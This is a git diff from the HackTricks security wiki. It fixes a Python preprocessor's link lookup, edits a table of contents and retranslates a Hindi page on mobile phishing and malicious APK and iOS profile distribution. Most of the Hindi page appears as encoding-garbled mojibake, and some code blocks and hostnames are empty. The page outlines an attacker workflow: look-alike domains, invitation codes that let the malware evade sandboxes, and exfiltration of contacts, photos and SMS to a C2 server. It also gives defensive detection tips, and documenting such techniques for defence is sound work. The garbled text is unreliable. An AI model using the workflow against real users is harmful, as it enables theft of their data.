diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 0165a854a..c525f665d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
@@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
- chapter, _path = findtitle(href.split("#")[0], book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(href.split("#")[0], book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else:
- chapter, _path = findtitle(href, book, "source_path")
- logger.debug(f'Recursive title search result: {chapter["name"]}')
- title = chapter['name']
+ result = findtitle(href, book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ title = chapter['name']
+ else:
+ raise Exception(f"Chapter not found for path: {href}")
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = chapter["name"]
- logger.debug(f'Recursive title search result: {chapter["name"]}')
+ result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = chapter["name"]
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}')
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d4104d430..abe382dcf 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# ЁЯдЦ AI
- [AI Security](AI/README.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index ffeb351b4..ffcd02609 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -1,67 +1,67 @@
-# рдореЛрдмрд╛рдЗрд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдРрдк рд╡рд┐рддрд░рдг (Android рдФрд░ iOS)
+# рдореЛрдмрд╛рдЗрд▓ Phishing & Malicious App Distribution (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> рдпрд╣ рдкреГрд╖реНрда рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЦрддрд░реЗ рдХреЗ рдЕрднрд┐рдиреЗрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг Android APKs** рдФрд░ **iOS рдореЛрдмрд╛рдЗрд▓-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓** рдХреЛ рдлрд╝рд┐рд╢рд┐рдВрдЧ (SEO, рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ, рдлрд░реНрдЬреА рд╕реНрдЯреЛрд░, рдбреЗрдЯрд┐рдВрдЧ рдРрдкреНрд╕, рдЖрджрд┐) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред
-> рд╕рд╛рдордЧреНрд░реА Zimperium zLabs (2025) рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░ SarangTrap рдЕрднрд┐рдпрд╛рди рдФрд░ рдЕрдиреНрдп рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЕрдиреБрд╕рдВрдзрд╛рди рд╕реЗ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реИред
+> рдпрд╣ рдкреГрд╖реНрда рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдереНрд░реЗрдЯ рдПрдХреНрдЯрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ phishing (SEO, social engineering, fake stores, dating apps, рдЖрджрд┐) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **malicious Android APKs** рдФрд░ **iOS mobile-configuration profiles** рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+> рд╕рд╛рдордЧреНрд░реА SarangTrap рдЕрднрд┐рдпрд╛рди (Zimperium zLabs рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░, 2025) рдФрд░ рдЕрдиреНрдп рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╢реЛрдз рд╕реЗ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реИред
-## рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рд╡рд╛рд╣
+## рд╣рдорд▓рд╛ рдкреНрд░рд╡рд╛рд╣
-1. **SEO/рдлрд╝рд┐рд╢рд┐рдВрдЧ рдЕрд╡рд╕рдВрд░рдЪрдирд╛**
-* рд╕рдорд╛рди рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди (рдбреЗрдЯрд┐рдВрдЧ, рдХреНрд▓рд╛рдЙрдб рд╢реЗрдпрд░, рдХрд╛рд░ рд╕реЗрд╡рд╛тАж) рджрд░реНрдЬ рдХрд░реЗрдВред
-тАУ Google рдореЗрдВ рд░реИрдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `
` рддрддреНрд╡ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рднрд╛рд╖рд╛ рдХреЗ рдХреАрд╡рд░реНрдб рдФрд░ рдЗрдореЛрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
-тАУ *рджреЛрдиреЛрдВ* Android (`.apk`) рдФрд░ iOS рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдПрдХ рд╣реА рд▓реИрдВрдбрд┐рдВрдЧ рдкреГрд╖реНрда рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд░реЗрдВред
-2. **рдкрд╣рд▓рд╛ рдЪрд░рдг рдбрд╛рдЙрдирд▓реЛрдб**
-* Android: *unsigned* рдпрд╛ "рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рд╕реНрдЯреЛрд░" APK рдХреЗ рд▓рд┐рдП рд╕реАрдзрд╛ рд▓рд┐рдВрдХред
-* iOS: `itms-services://` рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг **mobileconfig** рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп HTTPS рд▓рд┐рдВрдХ (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ)ред
-3. **рдкреЛрд╕реНрдЯ-рдЗрдВрд╕реНрдЯреЙрд▓ рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ**
-* рдкрд╣рд▓реЗ рд░рди рдкрд░ рдРрдк **рдЖрдордВрддреНрд░рдг / рд╕рддреНрдпрд╛рдкрди рдХреЛрдб** (рд╡рд┐рд╢реЗрд╖ рдкрд╣реБрдВрдЪ рдХрд╛ рднреНрд░рдо) рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИред
-* рдХреЛрдб **HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ POST** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ Command-and-Control (C2) рдкрд░ред
-* C2 рдЬрд╡рд╛рдм рджреЗрддрд╛ рд╣реИ `{"success":true}` тЮЬ рдореИрд▓рд╡реЗрдпрд░ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред
-* рд╕реИрдВрдбрдмреЙрдХреНрд╕ / AV рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЬреЛ рдХрднреА рднреА рдПрдХ рдорд╛рдиреНрдп рдХреЛрдб рдкреНрд░рд╕реНрддреБрдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, **рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░** рдирд╣реАрдВ рджреЗрдЦрддрд╛ (рдирд┐рд╖реНрдХрд╛рд╕рди)ред
-4. **рд░рдирдЯрд╛рдЗрдо рдЕрдиреБрдорддрд┐ рджреБрд░реБрдкрдпреЛрдЧ** (Android)
-* рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдХреЗрд╡рд▓ **рд╕рдХрд╛рд░рд╛рддреНрдордХ C2 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рдж** рдорд╛рдВрдЧреА рдЬрд╛рддреА рд╣реИрдВ:
+1. **SEO/Phishing рдЗрдВрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░**
+* рджрд░реНрдЬрдиреЛрдВ look-alike рдбреЛрдореЗрдиреЛрдВ рдХреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВ (dating, cloud share, car serviceтАж).
+тАУ `` рдПрд▓рд┐рдореЗрдВрдЯ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рднрд╛рд╖рд╛ рдХреЗ keywords рдФрд░ emojis рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ Google рдореЗрдВ рд░реИрдВрдХрд┐рдВрдЧ рдорд┐рд▓реЗред
+тАУ рдПрдХ рд╣реА рд▓реИрдВрдбрд┐рдВрдЧ рдкреЗрдЬ рдкрд░ *рджреЛрдиреЛрдВ* Android (`.apk`) рдФрд░ iOS рдЗрдВрд╕реНрдЯреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рд╣реЛрд╕реНрдЯ рдХрд░реЗрдВред
+2. **рдкрд╣рд▓рд╛ рдЪрд░рдг: рдбрд╛рдЙрдирд▓реЛрдб**
+* Android: рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯ рд▓рд┐рдВрдХ рдЬреЛ *unsigned* рдпрд╛ тАЬthird-party storeтАЭ APK рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИред
+* iOS: `itms-services://` рдпрд╛ рд╕рд╛рдорд╛рдиреНрдп HTTPS рд▓рд┐рдВрдХ рдЬреЛ рдПрдХ malicious **mobileconfig** рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ)ред
+3. **рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж Social Engineering**
+* рдкрд╣рд▓реА рдмрд╛рд░ рдЪрд▓рд╛рдиреЗ рдкрд░ рдРрдк рдПрдХ **invitation / verification code** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рд╡рд┐рд╢реЗрд╖ рдкрд╣реБрдВрдЪ рдХрд╛ рднреНрд░рдо)ред
+* рдХреЛрдб **HTTP рдкрд░ POST** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ Command-and-Control (C2) рдХреЛред
+* C2 рдЙрддреНрддрд░ рджреЗрддрд╛ рд╣реИ `{"success":true}` тЮЬ рдореИрд▓рд╡реЗрдпрд░ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред
+* рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ / AV рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рд╡реИрдз рдХреЛрдб рд╕рдмрдорд┐рдЯ рдирд╣реАрдВ рдХрд░рддрд╛ рд╡рд╣ **рдХреЛрдИ рдорд╛рд▓рд┐рд╢рд┐рдпрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдирд╣реАрдВ** рджреЗрдЦрддрд╛ (evasion)ред
+4. **Runtime Permission Abuse (Android)**
+* рдЦрддрд░рдирд╛рдХ permissions рд╕рд┐рд░реНрдл **positive C2 response рдХреЗ рдмрд╛рдж** рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ:
```xml
-
+
```
-* рд╣рд╛рд▓ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг **`AndroidManifest.xml` рд╕реЗ SMS рдХреЗ рд▓рд┐рдП `` рд╣рдЯрд╛ рджреЗрддреЗ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдЙрд╕ Java/Kotlin рдХреЛрдб рдкрде рдХреЛ рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдкрд░рд╛рд╡рд░реНрддрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SMS рдкрдврд╝рддрд╛ рд╣реИ тЗТ рд╕реНрдерд┐рд░ рд╕реНрдХреЛрд░ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЕрднреА рднреА рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╣реИ рдЬреЛ `AppOps` рджреБрд░реБрдкрдпреЛрдЧ рдпрд╛ рдкреБрд░рд╛рдиреЗ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред
-5. **рдлрд╕рд╛рдж UI рдФрд░ рдкреГрд╖реНрдарднреВрдорд┐ рд╕рдВрдЧреНрд░рд╣рдг**
-* рдРрдк рд╣рд╛рдирд┐рд░рд╣рд┐рдд рджреГрд╢реНрдп (SMS рд╡реНрдпреВрдЕрд░, рдЧреИрд▓рд░реА рдкрд┐рдХрд░) рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред
-* рдЗрд╕ рдмреАрдЪ рдпрд╣ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ:
+* рд╣рд╛рд▓рд┐рдпрд╛ рд╡реЗрд░рд┐рдПрдВрдЯреНрд╕ `AndroidManifest.xml` рд╕реЗ SMS рдХреЗ рд▓рд┐рдП `` рд╣рдЯрд╛рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди Java/Kotlin рдХреЛрдб рдкрд╛рде рдХреЛ reflection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SMS рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ тЗТ рдЗрд╕рд╕реЗ static рд╕реНрдХреЛрд░ рдХрдо рд╣реЛрддрд╛ рд╣реИ рдЬрдмрдХрд┐ AppOps abuse рдпрд╛ рдкреБрд░рд╛рдиреЗ рд▓рдХреНрд╖реНрдпреЛрдВ рдкрд░ рдХрд╛рд░реНрдпрд╢реАрд▓ рд░рд╣рддрд╛ рд╣реИред
+5. **Facade UI рдФрд░ Background Collection**
+* рдРрдк рд▓реЛрдХрд▓ рд░реВрдк рд╕реЗ harmless views (SMS viewer, gallery picker) рджрд┐рдЦрд╛рддрд╛ рд╣реИред
+* рдЗрд╕ рдмреАрдЪ рдпрд╣ рдирд┐рдореНрди рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ:
- IMEI / IMSI, рдлреЛрди рдирдВрдмрд░
-- рдкреВрд░реНрдг `ContactsContract` рдбрдВрдк (JSON рдПрд░реЗ)
-- `/sdcard/DCIM` рд╕реЗ JPEG/PNG рдХреЛ рдЖрдХрд╛рд░ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [Luban](https://github.com/Curzibn/Luban) рдХреЗ рд╕рд╛рде рд╕рдВрдХреБрдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛
+- рдкреВрд░рд╛ `ContactsContract` dump (JSON array)
+- `/sdcard/DCIM` рд╕реЗ JPEG/PNG, рдЖрдХрд╛рд░ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [Luban](https://github.com/Curzibn/Luban) рд╕реЗ compress рдХрд┐рдпрд╛ рдЧрдпрд╛
- рд╡реИрдХрд▓реНрдкрд┐рдХ SMS рд╕рд╛рдордЧреНрд░реА (`content://sms`)
-рдкреЗрд▓реЛрдбреНрд╕ **рдмреИрдЪ-рдЬрд╝рд┐рдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ** рдФрд░ `HTTP POST /upload.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред
-6. **iOS рд╡рд┐рддрд░рдг рддрдХрдиреАрдХ**
-* рдПрдХрд▓ **рдореЛрдмрд╛рдЗрд▓-рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` рдЖрджрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ "MDM"-рд╕рдорд╛рди рдкрд░реНрдпрд╡реЗрдХреНрд╖рдг рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
-* рд╕реЛрд╢рд▓-рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдирд┐рд░реНрджреЗрд╢:
-1. рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЦреЛрд▓реЗрдВ тЮЬ *рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛*ред
-2. *рдЗрдВрд╕реНрдЯреЙрд▓* рдкрд░ рддреАрди рдмрд╛рд░ рдЯреИрдк рдХрд░реЗрдВ (рдлрд╝рд┐рд╢рд┐рдВрдЧ рдкреГрд╖реНрда рдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ)ред
-3. рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░реЗрдВ тЮЬ рд╣рдорд▓рд╛рд╡рд░ *Contacts* рдФрд░ *Photo* рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдРрдк рд╕реНрдЯреЛрд░ рд╕рдореАрдХреНрд╖рд╛ рдХреЗред
-7. **рдиреЗрдЯрд╡рд░реНрдХ рдкрд░рдд**
-* рд╕рд╛рдорд╛рдиреНрдп HTTP, рдЕрдХреНрд╕рд░ рдкреЛрд░реНрдЯ 80 рдкрд░ HOST рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ `api..com`ред
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (рдХреЛрдИ TLS тЖТ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╕рд╛рди)ред
+рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ **batch-zipped** рдХрд░рдХреЗ `HTTP POST /upload.php` рдХреЗ рдЬрд░рд┐рдП рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред
+6. **iOS Delivery Technique**
+* рдПрдХ рдЕрдХреЗрд▓рд╛ **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` рдЖрджрд┐ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ тАЬMDMтАЭ-рд╕рдорд╛рди supervision рдореЗрдВ enroll рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
+* Social-engineering рдирд┐рд░реНрджреЗрд╢:
+1. Settings рдЦреЛрд▓реЗрдВ тЮЬ *Profile downloaded*.
+2. рддреАрди рдмрд╛рд░ *Install* рдкрд░ рдЯреИрдк рдХрд░реЗрдВ (рдлрд┐рд╢рд┐рдВрдЧ рдкреЗрдЬ рдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ)ред
+3. unsigned рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреЛ Trust рдХрд░реЗрдВ тЮЬ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ App Store рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рдмрд┐рдирд╛ *Contacts* рдФрд░ *Photo* entitlement рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред
+7. **рдиреЗрдЯрд╡рд░реНрдХ рд▓реЗрдпрд░**
+* рд╕рд╛рджрд╛ HTTP, рдЕрдХреНрд╕рд░ рдкреЛрд░реНрдЯ 80 рдкрд░ HOST рд╣реЗрдбрд░ рдЬреИрд╕рд╛ `api..com` рдХреЗ рд╕рд╛рдеред
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (рдХреЛрдИ TLS рдирд╣реАрдВ тЖТ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдХрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред
-## рд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг / рд░реЗрдб-рдЯреАрдо рд╕реБрдЭрд╛рд╡
+## Defensive Testing / Red-Team Tips
-* **рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдмрд╛рдпрдкрд╛рд╕** тАУ рдореИрд▓рд╡реЗрдпрд░ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рджреМрд░рд╛рди, рдЖрдордВрддреНрд░рдг рдХреЛрдб рдЪрд░рдг рдХреЛ Frida/Objection рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╢рд╛рдЦрд╛ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХреЗрдВред
-* **Manifest рдмрдирд╛рдо рд░рдирдЯрд╛рдЗрдо рдбрд┐рдлрд╝** тАУ `aapt dump permissions` рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВ рд░рдирдЯрд╛рдЗрдо `PackageManager#getRequestedPermissions()` рдХреЗ рд╕рд╛рде; рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЧрд╛рдпрдм рд╣реЛрдирд╛ рдПрдХ рд▓рд╛рд▓ рдЭрдВрдбрд╛ рд╣реИред
-* **рдиреЗрдЯрд╡рд░реНрдХ рдХреИрдирд░реА** тАУ рдХреЛрдб рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЗ рдмрд╛рдж рдЕрд╕рдВрдЧрдд POST рдмрд░реНрд╕реНрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `iptables -p tcp --dport 80 -j NFQUEUE` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред
-* **mobileconfig рдирд┐рд░реАрдХреНрд╖рдг** тАУ macOS рдкрд░ `security cms -D -i profile.mobileconfig` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ `PayloadContent` рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдПред
+* **Dynamic Analysis Bypass** тАУ рдореИрд▓рд╡реЗрдпрд░ рдЖрдХрд▓рди рдХреЗ рджреМрд░рд╛рди, invitation code рдЪрд░рдг рдХреЛ Frida/Objection рд╕реЗ automate рдХрд░рдХреЗ malicious рдмреНрд░рд╛рдВрдЪ рддрдХ рдкрд╣реБрдБрдЪреЗрдВред
+* **Manifest vs. Runtime Diff** тАУ `aapt dump permissions` рдХреА рддреБрд▓рдирд╛ runtime `PackageManager#getRequestedPermissions()` рд╕реЗ рдХрд░реЗрдВ; рдЧрд╛рдпрдм рдЦрддрд░рдирд╛рдХ рдкрд░рдорд┐рд╢рдиреНрд╕ рдПрдХ рд░реЗрдб рдлреНрд▓реИрдЧ рд╣реИрдВред
+* **Network Canary** тАУ рдХреЛрдб рдПрдВрдЯреНрд░реА рдХреЗ рдмрд╛рдж рдЕрд╕рд╛рдорд╛рдиреНрдп POST рдмрд░реНрд╕реНрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `iptables -p tcp --dport 80 -j NFQUEUE` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред
+* **mobileconfig Inspection** тАУ macOS рдкрд░ `security cms -D -i profile.mobileconfig` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `PayloadContent` рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ entitlements рдкрд╣рдЪрд╛рдиреЗрдВред
-## рдмреНрд▓реВ-рдЯреАрдо рдкрд╣рдЪрд╛рди рд╡рд┐рдЪрд╛рд░
+## Blue-Team Detection Ideas
